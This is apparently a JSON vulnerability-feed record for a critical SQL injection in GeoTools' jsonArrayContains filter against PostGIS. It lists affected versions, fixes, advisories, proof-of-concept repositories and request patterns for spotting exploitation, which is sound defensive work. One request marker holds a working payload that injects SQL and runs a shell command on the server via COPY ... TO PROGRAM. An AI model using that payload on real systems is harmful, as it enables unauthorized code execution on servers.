{
  "id": "CVE-2026-76904",
  "url": "https://poc.griffinguard.io/cve/CVE-2026-76904",
  "published_at": "2026-08-21T20:13:20.536Z",
  "title": "GeoTools has unauthenticated SQL injection in the jsonArrayContains filter function against PostGIS layers",
  "vendor": "geotools",
  "product": "geotools",
  "cvss": {
    "score": 9.8,
    "source": "cna",
    "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"
  },
  "kev": {
    "in_kev": false,
    "added_at": null,
    "days_after_publication": null
  },
  "first_poc": {
    "created_at": "2026-08-16T08:11:26Z",
    "first_seen_at": "2026-11-14T11:25:11.578Z",
    "days_after_publication": -5.5,
    "repo": "YonLiud/CVE-2026-76904",
    "source": "github"
  },
  "poc_repo_count": 2,
  "exploit_count": 1,
  "suspicious_repo_count": 0,
  "edge_device": null,
  "description": "GeoTools is an open source Java library that provides tools for geospatial data. Starting in version 30.5 and prior to versions 33.6, 34.5, and 33.6, an SQL Injection Vulnerability is present when executing OGC Filters with PostGIS DataStore implementation: `jsonArrayContains` function; Requires PostGIS 12 or greater with a String or JSON field. For PostGIS 12 and greater `jsonArrayContains(\u003ccolumn\u003e, \u003cpointer\u003e, \u003cvalue\u003e)` function writes `\u003cvalue\u003e` into generated SQL without escaping. Patches are available in versions 33.6, 34.5, and 33.6. No known workaround is available. To limit scope of SQL Injection the PostGIS connection pool should be configured with limited rights.",
  "cwe": "CWE-89",
  "cvss_by_source": {
    "cna": 9.8
  },
  "repos": [
    {
      "repo": "YonLiud/CVE-2026-76904",
      "url": "https://github.com/YonLiud/CVE-2026-76904",
      "created_at": "2026-08-16T08:11:26Z",
      "first_seen_at": "2026-11-14T11:25:11.578Z",
      "stars": 6,
      "is_poc": "yes",
      "kind": "exploit",
      "suspicion_score": 0,
      "suspicious": false,
      "suspicion_reasons": [],
      "status": "analyzed",
      "owner_created_at": "2018-12-05T16:24:55Z"
    },
    {
      "repo": "bickZero93/CVE-2026-76904",
      "url": "https://github.com/bickZero93/CVE-2026-76904",
      "created_at": "2026-08-26T10:24:28Z",
      "first_seen_at": "2026-11-14T11:25:11.578Z",
      "stars": 1,
      "is_poc": "yes",
      "kind": "exploit",
      "suspicion_score": 15,
      "suspicious": false,
      "suspicion_reasons": [
        "owner account created less than 30 days before the repo"
      ],
      "status": "analyzed",
      "owner_created_at": "2026-08-14T13:20:16Z"
    }
  ],
  "remediation": {
    "affected": [
      {
        "vendor": "geotools",
        "product": "geotools",
        "ranges": [
          "= 35.0",
          "\u003e= 34.0, \u003c 34.5",
          "\u003e= 30.5, \u003c 33.6"
        ],
        "fixed_in": [
          "34.5",
          "33.6"
        ]
      }
    ],
    "upgrade": [
      "Upgrade geotools to 34.5 or 33.6 or later."
    ],
    "references": [
      {
        "kind": "Vendor advisory",
        "url": "https://github.com/geotools/geotools/security/advisories/GHSA-mqjf-5f49-2fjh"
      },
      {
        "kind": "Patch",
        "url": "https://github.com/geotools/geotools/pull/5829"
      },
      {
        "kind": "Patch",
        "url": "https://github.com/geotools/geotools/commit/d821c4d321dd91c22e31fcd5b1ce676645da5176"
      },
      {
        "kind": "Release notes",
        "url": "https://github.com/geotools/geotools/releases/tag/33.6"
      },
      {
        "kind": "Release notes",
        "url": "https://github.com/geotools/geotools/releases/tag/34.5"
      },
      {
        "kind": "Release notes",
        "url": "https://github.com/geotools/geotools/releases/tag/35.1"
      }
    ]
  },
  "exploit_refs": [
    {
      "url": "https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2026/CVE-2026-76904.yaml",
      "source": "nuclei",
      "title": "nuclei template: GeoServer jsonArrayContains CQL Filter - SQL Injection",
      "published_at": "2026-08-24T09:57:02Z",
      "first_seen_at": "2026-11-14T10:26:36.149Z"
    }
  ],
  "hunt_profile": [
    {
      "method": "GET",
      "path_template": "/{var}/ows",
      "query_markers": [
        "service=WFS",
        "version=2.0.0",
        "request=GetFeature",
        "typeNames=",
        "outputFormat=application/json",
        "CQL_FILTER="
      ],
      "ports": [
        8080
      ],
      "protocol": "http",
      "repos": [
        "YonLiud/CVE-2026-76904"
      ],
      "repo_count": 1,
      "confidence": 0.7,
      "evidence": [
        "YonLiud/CVE-2026-76904/exploit.py:34"
      ]
    },
    {
      "method": "POST",
      "path_template": "/geoserver/rest/workspaces/topp/datastores",
      "content_type": "application/xml",
      "ports": [
        8080
      ],
      "protocol": "http",
      "repos": [
        "YonLiud/CVE-2026-76904"
      ],
      "repo_count": 1,
      "confidence": 0.7,
      "evidence": [
        "YonLiud/CVE-2026-76904/README.md:115"
      ]
    },
    {
      "method": "POST",
      "path_template": "/geoserver/rest/workspaces/topp/datastores/test_json_store/featuretypes",
      "content_type": "application/xml",
      "ports": [
        8080
      ],
      "protocol": "http",
      "repos": [
        "YonLiud/CVE-2026-76904"
      ],
      "repo_count": 1,
      "confidence": 0.7,
      "evidence": [
        "YonLiud/CVE-2026-76904/README.md:132"
      ]
    },
    {
      "method": "POST",
      "path_template": "/geoserver/topp/ows",
      "body_markers": [
        "service=WFS",
        "version=2.0.0",
        "request=GetFeature",
        "typeNames=topp:test_json",
        "outputFormat=application/json",
        "CQL_FILTER=jsonArrayContains(data,'/x','y\")\\'') OR 1=1)) AS gt_injected; COPY (SELECT 1) TO PROGRAM 'whoami \u003e /tmp/pwned.txt' --')=true"
      ],
      "content_type": "application/x-www-form-urlencoded",
      "ports": [
        8080
      ],
      "protocol": "http",
      "repos": [
        "YonLiud/CVE-2026-76904"
      ],
      "repo_count": 1,
      "confidence": 0.7,
      "evidence": [
        "YonLiud/CVE-2026-76904/README.md:66"
      ]
    }
  ],
  "rules": []
}
